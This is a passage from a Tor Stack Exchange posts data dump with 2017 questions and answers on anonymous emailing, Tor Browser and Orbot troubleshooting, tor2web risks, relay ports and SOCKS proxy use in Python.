(c/n)&lt;sup&gt;2&lt;/sup&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If your entry guard node is an attacker and he controls or watches the website you visit; in that case, you can easily implement this attack.&lt;br&gt;&#xA;Link to a very good &lt;a href=&quot;http://geekslop.com/2015/catching-pedophiles-running-secret-dark-web-tor-honeypot&quot; rel=&quot;nofollow noreferrer&quot;&gt;blog&lt;/a&gt; on this topic.&lt;br&gt;&lt;/p&gt;&#xA;" OwnerUserId="18504" LastActivityDate="2017-08-29T03:47:54.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15596" PostTypeId="1" CreationDate="2017-08-29T18:01:04.460" Score="2" ViewCount="545" Body="&lt;p&gt;I am working for a company that engages in unethical business practices with a customer. I need to send an anonymous email to the labor board and the customer. I need to keep my identity a secret, but the contents of the email do not need to be secret. I also need to be able to respond to replies. Is the following safe?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Head to an open wifi that I have never used before&lt;/li&gt;&#xA;&lt;li&gt;Switch on VPN (which provider is best for anonymity?) &lt;/li&gt;&#xA;&lt;li&gt;Open Tor and sign up for an email provider and send the email&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="18931" LastEditorUserId="88" LastEditDate="2017-08-31T11:12:51.813" LastActivityDate="2021-04-06T19:58:21.493" Title="Is this setup to send anonymous email secure?" Tags="|anonymity|vpn|deanonymization|email|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15597" PostTypeId="1" CreationDate="2017-08-29T21:25:00.347" Score="4" ViewCount="900" Body="&lt;p&gt;Orbot starts and works fine alongside with Orfox and Twitter but it frequently stops (it does not crash, it just stops working): the persistent notification icon disappear and Orfox issues the typical &quot;the proxy server is refusing connections&quot; message. I have been using Orbot and Orfox since I had an android 4.0 device but I am experiencing this problem with my Android 7.0 phone. Is it a known issue or it's just me and my jinx? &lt;/p&gt;&#xA;" OwnerUserId="18933" LastEditorUserId="88" LastEditDate="2017-08-31T10:57:04.207" LastActivityDate="2022-04-08T10:04:05.443" Title="Orbot stops for no reason on my Android 7.0 phone" Tags="|orbot|android|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15598" PostTypeId="2" ParentId="15596" CreationDate="2017-08-29T23:37:24.103" Score="1" Body="&lt;p&gt;That sounds secure to me. When you sign up for an email service, make sure not to give any identifying information away. You'll find that a lot of email providers require you to give your phone number, so you can't use those. A VPN is not necessary, unless you're looking to hide the fact you're using the tor network, or the network you're using blocks tor connections. If you're looking for a good VPN provider, &lt;a href=&quot;https://www.ivpn.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;IVPN&lt;/a&gt; is very privacy &amp;amp; security oriented.&lt;/p&gt;&#xA;" OwnerUserId="16038" LastActivityDate="2017-08-29T23:37:24.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15599" PostTypeId="2" ParentId="15591" CreationDate="2017-08-30T02:20:20.263" Score="0" Body="&lt;p&gt;It takes an hour to re-integrate into the same rates - I've managed/serviced my relay many times, in one hour it usually goes back. Sometimes it was even faster. If you have had a &lt;code&gt;Guard&lt;/code&gt; flag - well, this can return in days. &lt;code&gt;HSDir&lt;/code&gt; and &lt;code&gt;V2Dir&lt;/code&gt; returned in a day ( in 24 hours ). There're no &quot;standard-defined&quot; timings, it's a question of network consensus. First, a &lt;code&gt;Valid&lt;/code&gt; and &lt;code&gt;Fast&lt;/code&gt; flags are coming back - then network re-evaluates your relay and here you go&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-08-30T02:20:20.263" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15600" PostTypeId="1" CreationDate="2017-08-30T15:08:57.533" Score="1" ViewCount="10194" Body="&lt;p&gt;i can`t download Tor browser.when i tried to enter it blocks&lt;a href=&quot;https://i.stack.imgur.com/Mkrn2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Mkrn2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18940" LastActivityDate="2017-08-31T02:02:23.060" Title="i can`t download Tor Browser" Tags="|tor-browser-bundle|browsers|" AnswerCount="1" CommentCount="0" ClosedDate="2017-09-11T20:13:15.843" ContentLicense="CC BY-SA 3.0" />
  <row Id="15601" PostTypeId="1" CreationDate="2017-08-30T18:05:17.990" Score="1" ViewCount="2050" Body="&lt;p&gt;I want to ask about tor2web proxy which is used to access the onion sites through normal internet browser, Why it is said that it is not secure when it uses HTTPS to fetch the onion site from the Tor network. &#xA;For example &lt;a href=&quot;https://duskgytldkxiuqc6.onion.to/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://duskgytldkxiuqc6.onion.to/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="18942" LastEditorUserId="88" LastEditDate="2017-08-31T11:10:17.293" LastActivityDate="2017-09-01T02:49:58.367" Title="Why tor2web is not secure?" Tags="|configuration|proxy|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15603" PostTypeId="1" CreationDate="2017-08-30T19:25:26.427" Score="2" ViewCount="9996" Body="&lt;p&gt;Google translate doesn't accept onion addresses, and I'd rather not pass my text through Google anyway. How then, can I translate onion websites in tor browser, in a way which is preferably both convenient and secure?&lt;/p&gt;&#xA;" OwnerUserId="18944" LastActivityDate="2017-08-30T19:25:26.427" Title="How to translate onion sites in a tor browser?" Tags="|tor-browser-bundle|google|darknet|" AnswerCount="0" CommentCount="0" ClosedDate="2017-09-11T20:14:12.490" ContentLicense="CC BY-SA 3.0" />
  <row Id="15604" PostTypeId="1" CreationDate="2017-08-30T23:37:21.170" Score="3" ViewCount="1845" Body="&lt;p&gt;Is it technically possible to SSH into a Whonix workstation locally? So if I'm on the same local network as the device running the workstation. For example, my laptop is on 192.168.0.2, the device running the gateway is on 192.168.0.3 and the workstation on 10.152.152.22. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps SSH into the Whonix Gateway first, then SSH into the workstation? Or maybe some port-forwarding somehow? Can someone assist with this?&lt;/p&gt;&#xA;" OwnerUserId="18948" LastActivityDate="2021-12-16T21:00:40.083" Title="SSH Into Whonix Workstation" Tags="|configuration|whonix|ssh|connection|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15605" PostTypeId="2" ParentId="15601" CreationDate="2017-08-31T00:50:00.160" Score="0" Body="&lt;p&gt;The point of tor is to not stand out when on the tor network, that is what being anonymous us about. When you use a different browser your browser fingerprint is much more unique. That means you stand out when compared to everyone else using the same identical tor browser with the same extensions. If you just want to connect you are probably fine, but I wouldn't do it on a computer that is connected to your home network to mitigate the risk of anything being compromised.&lt;/p&gt;&#xA;" OwnerUserId="15953" LastActivityDate="2017-08-31T00:50:00.160" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15606" PostTypeId="2" ParentId="15600" CreationDate="2017-08-31T02:02:23.060" Score="0" Body="&lt;p&gt;Your ISP may be blocking it. Try GitHub&#xA;&lt;a href=&quot;https://github.com/TheTorProject/gettorbrowser/blob/master/README.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/TheTorProject/gettorbrowser/blob/master/README.md&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15953" LastActivityDate="2017-08-31T02:02:23.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15608" PostTypeId="2" ParentId="13731" CreationDate="2017-08-31T05:07:51.013" Score="0" Body="&lt;p&gt;This may help&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/3347/could-tor-be-hacked-revealing-users-personal-info&quot;&gt;Could Tor be hacked, revealing users&amp;#39; personal info?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;all software is subject to flaws, both in design and implementation. Tor has had them in the past, Tor also relies on OpenSSL which has had numerous vulernabilities. However, only your guard or a man-in-the-middle between your guard and you can attack a Tor clients OpenSSL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The far larger problem, and the source of most of the large-scale hacks performed on Tor users is through the application that the user is using over Tor. For example, Tor Browser has regular updates that fix vulnerabilities.&quot;&lt;/p&gt;&#xA;" OwnerUserId="18951" LastEditorUserId="18951" LastEditDate="2017-08-31T05:49:27.700" LastActivityDate="2017-08-31T05:49:27.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15611" PostTypeId="2" ParentId="15596" CreationDate="2017-08-31T11:24:48.660" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;When you go to the place with the open wifi, you should additionally check if the place is physically secure. This means no cameras, no people who could shoulder-surf etc. Furthermore if you connect with your own hardware to that WIfi, keep in mind that you leave some information (MAC address etc.). So using other hardware might be a good thing.&lt;/li&gt;&#xA;&lt;li&gt;VPN is not really needed. Please read &lt;a href=&quot;https://github.com/epidemics-scepticism/writing/blob/master/misconception.md#vpns&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/epidemics-scepticism/writing/blob/master/misconception.md#vpns&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;You should use a distribution which anonymizes all your traffic, like tails. &lt;/li&gt;&#xA;&lt;li&gt;Please keep in mind that you also leave some non-technical information:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;your style of writing: Usually people have quite individual styles and if there are enough probes of your writing style available, it might be possible to track you down.&lt;/li&gt;&#xA;&lt;li&gt;specific information about the case: Think about how many people can know about the case you want to report. This are the possible suspects. If this set is rather small, it could also be possible to track you down.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Stay safe.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2017-08-31T11:24:48.660" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15614" PostTypeId="2" ParentId="15597" CreationDate="2017-08-31T19:21:50.783" Score="0" Body="&lt;p&gt;I just installed orbit and orfox from the guardian repo on fdroid. I have a OnePlus 3 on lineage is 14.1, Android 7.1.2. It is working just fine for me. What device and os are you using?&lt;/p&gt;&#xA;" OwnerUserId="15953" LastActivityDate="2017-08-31T19:21:50.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15615" PostTypeId="2" ParentId="12797" CreationDate="2017-08-31T23:04:15.183" Score="1" Body="&lt;p&gt;Use a vpn as opposed to tor. I use a throwaway one like Vigilantium while traveling. &lt;a href=&quot;https://vigilantium.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://vigilantium.com&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="9508" LastActivityDate="2017-08-31T23:04:15.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15616" PostTypeId="2" ParentId="15601" CreationDate="2017-09-01T02:49:58.367" Score="3" Body="&lt;p&gt;You're given a fairly good set of protections in the Tor network: three layers of encrypted misdirection, plus a browser that blocks many tracking features. Using a service like Tor 2 Web or Onion Cab not only removes the browser-based protections, but also lets anyone listening to the network (or the proxy server admin) see what pages you're connecting to. The point of Tor is that users can connect without being eavesdropped on, and going through the clearnet, even with https, seriously cripples the efforts made to protect users.&lt;/p&gt;&#xA;" OwnerUserId="6820" LastActivityDate="2017-09-01T02:49:58.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15617" PostTypeId="1" CreationDate="2017-09-01T12:01:27.977" Score="1" ViewCount="948" Body="&lt;p&gt;Just started on this forum so please excuse etiquette mistakes, but I think this info might help a lot of people. I have actually solved this problem with the help of another thread (&lt;a href=&quot;https://tor.stackexchange.com/questions/14967/tor-browser-7-is-not-starting&quot;&gt;Tor Browser 7 is not starting&lt;/a&gt;) but think it needs to be easier to find because it'll help a lot of people (took me forever to solve). I cannot add my comments there since I've just joined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could not get Tor to start on Windows 8.1 Pro - saw the 'busy' symbol for a bit, then nothing. No Tor or Firefox processes to be seen under Task Manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Turns out that stopping IBM Trusteer Rapport banking security software (program is called Trusteer Endpoint Protection) running did the trick. This software is recommended by my major UK bank (NatWest) so a  lot of people will have it. It's easy to disable by going to the search box and searching for trusteer - there are start and stop options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However this IBM software works, I can imagine other security software might cause similar problems. It would be nice if a way could be found to alert the user to possible blocking software like this. Or at least make it easier to find solutions in places such as this. A lot of people would give up faced with this issue and that's not good for the community. It'd be great if someone with the ability to do so would make this solution easier to find.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Presumably this problem is not specific to a Windows version. Nor, probably, to Tor version (I'm using 7.0.4).&lt;/p&gt;&#xA;" OwnerUserId="18967" LastActivityDate="2019-10-24T20:00:28.703" Title="Why won't Tor browser start on Windows 8?" Tags="|tor-install|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15618" PostTypeId="1" CreationDate="2017-09-01T23:18:27.933" Score="1" ViewCount="354" Body="&lt;p&gt;I am trying to fetch JSON data, via a Python3 script, on Tails. I would like to know that this code is secure and doesn't leak IP or any other stuff. I know that Tails is configured to block any problematic connection, so I would like to know if my code is safe.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import json&#xA;import requests&#xA;&#xA;url = 'https://api.bitcoincharts.com/v1/markets.json'&#xA;proxy = {'https': &quot;socks5://127.0.0.1:9050&quot;}&#xA;&#xA;with open('datafile','w') as outfile:&#xA;  json.dump( (requests.get(url  ,  proxies=proxy  ).json())  ,outfile)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see I am using the &lt;code&gt;requests&lt;/code&gt; that has been suggested for proxies. I use socks5 just like the docs suggest, configured for the localhost 9050 port that tor listens to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess if the website would be &lt;code&gt;http&lt;/code&gt; then I would have to change the proxy to &lt;code&gt;'http'&lt;/code&gt; as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing I am not sure about is whether to use the port &lt;code&gt;9150&lt;/code&gt; or &lt;code&gt;9050&lt;/code&gt; , the code seems to work on both proxies, but I don't know which one is safer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than these, is my code safe to use on Tails?&lt;/p&gt;&#xA;" OwnerUserId="18971" LastActivityDate="2017-09-01T23:18:27.933" Title="Python JSON fetching via Socks5 proxy on Tails" Tags="|anonymity|tails|socks|https|python|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15620" PostTypeId="2" ParentId="2200" CreationDate="2017-09-02T13:41:47.083" Score="2" Body="&lt;p&gt;I found a way to do that on linux:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;apt-get install tor&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;download Multi-TOR from here: &lt;code&gt;https://github.com/jseidl/Multi-TOR&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;run &lt;code&gt;./multi-tor.sh 10&lt;/code&gt; for 10 socks ports (for example)&lt;/li&gt;&#xA;&lt;li&gt;You can use selenium or splinter python (for example) and import socks port&lt;/li&gt;&#xA;&lt;li&gt;put the script on a while or for statement as u wish&lt;/li&gt;&#xA;&lt;li&gt;good luck&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from pyvirtualdisplay import Display&#xA;import stem.process&#xA;from stem import Signal&#xA;from stem.control import Controller&#xA;from splinter import Browser&#xA;&#xA;&#xA;proxyIP = &quot;127.0.0.1&quot;&#xA;proxyPort = 9051&#xA;&#xA;proxy_settings = {&quot;network.proxy.type&quot;:1,&#xA;    &quot;network.proxy.ssl&quot;: proxyIP,&#xA;    &quot;network.proxy.ssl_port&quot;: proxyPort,&#xA;    &quot;network.proxy.socks&quot;: proxyIP,&#xA;    &quot;network.proxy.socks_port&quot;: proxyPort,&#xA;    &quot;network.proxy.socks_remote_dns&quot;: True,&#xA;    &quot;network.proxy.ftp&quot;: proxyIP,&#xA;    &quot;network.proxy.ftp_port&quot;: proxyPort&#xA;}&#xA;&#xA;display = Display(visible=0, size=(800, 600))&#xA;display.start()&#xA;&#xA;browser = Browser('firefox', profile_preferences=proxy_settings)&#xA;browser.visit(&quot;http://yourpage url here&quot;)&#xA;browser.quit()&#xA;&#xA;display.stop()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18975" LastEditorUserId="88" LastEditDate="2017-09-23T21:03:58.833" LastActivityDate="2017-09-23T21:03:58.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15621" PostTypeId="1" CreationDate="2017-09-02T14:06:08.373" Score="1" ViewCount="121" Body="&lt;p&gt;Tor is really great for people who want to keep their privacy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also has several language options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to be able to use Tor in traditional Chinese.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am wondering when will traditional Chinese be available for Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also known as Chinese (Taiwan).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will greatly benefit the people in Taiwan, Hong Kong, Malaysia, some people in China, as well as many others that use traditional Chinese.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The simplified Chinese is now available on Tor, but many people who use traditional Chinese do not understand simplified Chinese.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is very easy to convert simplified Chinese to traditional Chinese as this can be done with Google Translate accurately word for word.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The webpage &lt;a href=&quot;https://www.transifex.com/otf/torproject/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.transifex.com/otf/torproject/&lt;/a&gt; shows that the Chinese (Taiwan) translation is 100% completed and has 0 strings to translate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I hope that it will be available in Tor in the next update.&lt;/p&gt;&#xA;" OwnerUserId="18976" LastEditorUserId="19004" LastEditDate="2017-09-05T07:06:42.117" LastActivityDate="2017-09-06T09:56:39.117" Title="When Will Traditional Chinese be Available for Tor?" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15623" PostTypeId="1" CreationDate="2017-09-03T02:56:07.220" Score="0" ViewCount="1052" Body="&lt;p&gt;For some time I have been using a site with no problems, as of yesterday&#xA;I get this:&#xA;Your connection is not secure&#xA;The owner of website.net has configured their website improperly. To protect your information from being stolen, Tor Browser has not connected to this website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Error code: SEC_ERROR_UNKNOWN_ISSUER&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I add an exception&#xA;Thank you&lt;/p&gt;&#xA;" OwnerUserId="13018" LastActivityDate="2018-07-31T22:01:36.637" Title="Your connection is not secure should I add exception" Tags="|security|firefox|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15624" PostTypeId="1" AcceptedAnswerId="15642" CreationDate="2017-09-03T14:04:43.433" Score="1" ViewCount="168" Body="&lt;p&gt;For some time now NoScript has disabled all Ublock's scripts. I have not this problem on Firefox.&#xA;The scripts only work when I put Tor on low level of security. Can I put it on high level and do this: Extensions -  add-ons Manager - and click on Disable NoScript - and then on &quot;No, just stop blocking scripts&quot;? Is it dangerous?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ps: I need Ublock to block ads.&lt;/p&gt;&#xA;" OwnerUserId="12625" LastActivityDate="2017-09-05T16:46:23.350" Title="NoScript has disabled Ublock's scripts" Tags="|security|add-on|noscript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15625" PostTypeId="1" AcceptedAnswerId="15634" CreationDate="2017-09-03T17:46:36.320" Score="0" ViewCount="349" Body="&lt;p&gt;My Macbook Air is to old to use the newer versions of Tor. Is it in this case still safe to use the older Tor version, or do I really have to buy a new computer to use Tor safely?&lt;/p&gt;&#xA;" OwnerUserId="18990" LastActivityDate="2017-09-04T17:10:36.207" Title="Is it in this case still safe to use Tor" Tags="|tor-browser-bundle|security|mac|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15626" PostTypeId="1" CreationDate="2017-09-04T03:17:08.067" Score="0" ViewCount="73" Body="&lt;p&gt;I port scanned my VPS (tor relay) and noticed both port 9001 and 9030 are public facing; accessible to the entire internet. Is this normal? How might a malicious actor interact with these ports? Could someone use tor-arm to connect?&lt;/p&gt;&#xA;" OwnerUserId="18991" LastActivityDate="2018-07-31T23:00:33.513" Title="Should my orport be public facing?" Tags="|configuration|security|relays|linux|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15627" PostTypeId="1" CreationDate="2017-09-04T05:01:52.743" Score="1" ViewCount="289" Body="&lt;p&gt;It worked for years. I wish I'd used it more, given that it mostly sat around unappreciated. I re-downloaded and re-installed it weeks ago and again just an hour ago and got the same results. The Tor browser has stopped working. It doesn't even start, I get no popup about it connecting to the Tor network, just a bit of a busy cursor from Windows for a second, then nothing. The Windows Event Manager has this to say about it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fault bucket , type 0&#xA;Event Name: APPCRASH&#xA;Response: Not available&#xA;Cab Id: 0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem signature:&#xA;P1: firefox.exe&#xA;P2: 52.3.0.6242&#xA;P3: 00000000&#xA;P4: KERNELBASE.dll&#xA;P5: 10.0.14393.1532&#xA;P6: 5965adf8&#xA;P7: c06d007f&#xA;P8: 000da9f2&#xA;P9: &#xA;P10: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Attached files:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These files may be available here:&#xA;C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_firefox.exe_ad623f51899d7f26a073e7e38314b34efae1fdde_a0b18c10_32f54da7&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Analysis symbol: &#xA;Rechecking for solution: 0&#xA;Report Id: b879b153-6d4e-45a1-a831-f3eadab0f78f&#xA;Report Status: 2&#xA;Hashed bucket: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I develop device drivers in assembler, so I would appreciate not getting replies from people who have no idea what they're talking about. My Tor browser is installed in the default Windows 10 location it always installs itself in. I have re-installed the Tor browser in the usual default location of my Windows 10 desktop. The new installation is what the crash report above is about, but it was the same crash report before I re-installed the Tor browser.. which is why I re-installed it.&lt;/p&gt;&#xA;" OwnerUserId="18992" LastActivityDate="2022-04-13T04:07:05.650" Title="Tor browser never crashed, now is" Tags="|windows|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15628" PostTypeId="1" CreationDate="2017-09-04T05:29:57.007" Score="1" ViewCount="30" Body="&lt;p&gt;I'm new to tor. I'm wondering in my situation, whether other people can use my computer as a tor exit node or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have my Mac (192.168.0.x) running OS X, connecting to my home router(192.168.0.1). I installed tor with homebrew &lt;code&gt;brew install tor&lt;/code&gt;, and started tor with the &lt;code&gt;tor&lt;/code&gt; command. Now I can configure my browser to have sock5 proxy (127.0.0.1:9050) to use the tor I started. Now I'm wondering what type of tor node my computer is running? Is there any chance my home router IP being logged by a website if other tor users accessed that website? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="18993" LastActivityDate="2017-09-04T05:29:57.007" Title="What type of tor node am I running?" Tags="|mac|" AnswerCount="0" CommentCount="1" ClosedDate="2017-09-05T00:48:04.940" ContentLicense="CC BY-SA 3.0" />
  <row Id="15629" PostTypeId="1" CreationDate="2017-09-04T10:17:05.550" Score="1" ViewCount="59" Body="&lt;p&gt;The default level is set to low which ensures compatibility with most sites and technology but is it dangerous for security and/or for anonymity?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tz2UU.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tz2UU.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12625" LastEditorUserId="12625" LastEditDate="2017-09-04T10:23:27.520" LastActivityDate="2017-09-04T10:23:27.520" Title="Is the default low security level dangerous?" Tags="|tor-browser-bundle|configuration|anonymity|security|fingerprinting|" AnswerCount="0" CommentCount="0" ClosedDate="2017-09-05T16:57:05.367" ContentLicense="CC BY-SA 3.0" />
  <row Id="15630" PostTypeId="1" CreationDate="2017-09-04T15:31:24.883" Score="1" ViewCount="79" Body="&lt;p&gt;Does TOR have the service of contacting me with x bytes of noise and ignore the garbage I return?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Background&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recently heard a talk about a company that is privacy aware. They run smart thermometers using an app. Their current setup they have dedicated noise machines to send noise to the thermometer, so an attacker will not be able to see if this was a real request or not, and thus will not be able to see if I am on vacation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we want privacy we also must make it hard to see if there is any communication at all, so I am thinking this is a general problem. Maybe a function for the thermometer to say to the Tor network: Please send a garbage request to me from 3 hops away at this time with this length.&lt;/p&gt;&#xA;" OwnerUserId="1129" LastActivityDate="2017-09-04T15:31:24.883" Title="Noise sender function in TOR?" Tags="|attacks|routers|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15631" PostTypeId="2" ParentId="8682" CreationDate="2017-09-04T15:41:05.820" Score="0" Body="&lt;p&gt;Just like your ISP they will be able to do correlation attack: How much data did you send to the TOR-network? Is there a place in the TOR-network where a similar amount of data exited the network?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The TOR bomb threat failure is a situation where knowledge of you using TOR at a given time is enough to break your anonymity:&#xA;&lt;a href=&quot;https://www.theverge.com/2013/12/18/5224130/fbi-agents-tracked-harvard-bomb-threats-across-tor&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.theverge.com/2013/12/18/5224130/fbi-agents-tracked-harvard-bomb-threats-across-tor&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1129" LastActivityDate="2017-09-04T15:41:05.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15632" PostTypeId="2" ParentId="15626" CreationDate="2017-09-04T17:03:43.550" Score="1" Body="&lt;p&gt;Yes this is normal and infact required, if you want to be a relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They could interact with them like any Tor client or relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No, neither of those are control ports.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-09-04T17:03:43.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15633" PostTypeId="2" ParentId="15623" CreationDate="2017-09-04T17:05:29.043" Score="1" Body="&lt;p&gt;No, unless you explicitly and fully understand what you are doing you should not set an exception.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the warning clearly states, if you set an excpetion and unknowningly trust a site then you will open yourself up to having anything sent to that site from your browser read or manipulated by any entity in a position to tamper with the traffic content.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-09-04T17:05:29.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15634" PostTypeId="2" ParentId="15625" CreationDate="2017-09-04T17:10:36.207" Score="0" Body="&lt;p&gt;No, it is not safe to use old versions of Tor Browser or any other internet connected software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is &lt;strong&gt;explicitly what it says in the out-of-date version warnings&lt;/strong&gt; so I'm not sure why you're asking here again as if somehow the warnings were just a joke or something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a shame that your operating system vendor likes to price gouge so much, you might be able to opt to run an operating system like &lt;a href=&quot;https://tails.boum.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tails&lt;/a&gt; to get around the restrictions put in place by Apple.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-09-04T17:10:36.207" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="15635" PostTypeId="1" CreationDate="2017-09-04T20:15:21.117" Score="1" ViewCount="93" Body="&lt;p&gt;How does a HSDIR know which HS descriptor it has, and where is the descriptor / identity of the HS stored on the disk of the node ?&lt;/p&gt;&#xA;" OwnerUserId="6958" LastActivityDate="2017-09-04T20:15:21.117" Title="How does a HSDIR know which HS descriptor it has?" Tags="|onion-services|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
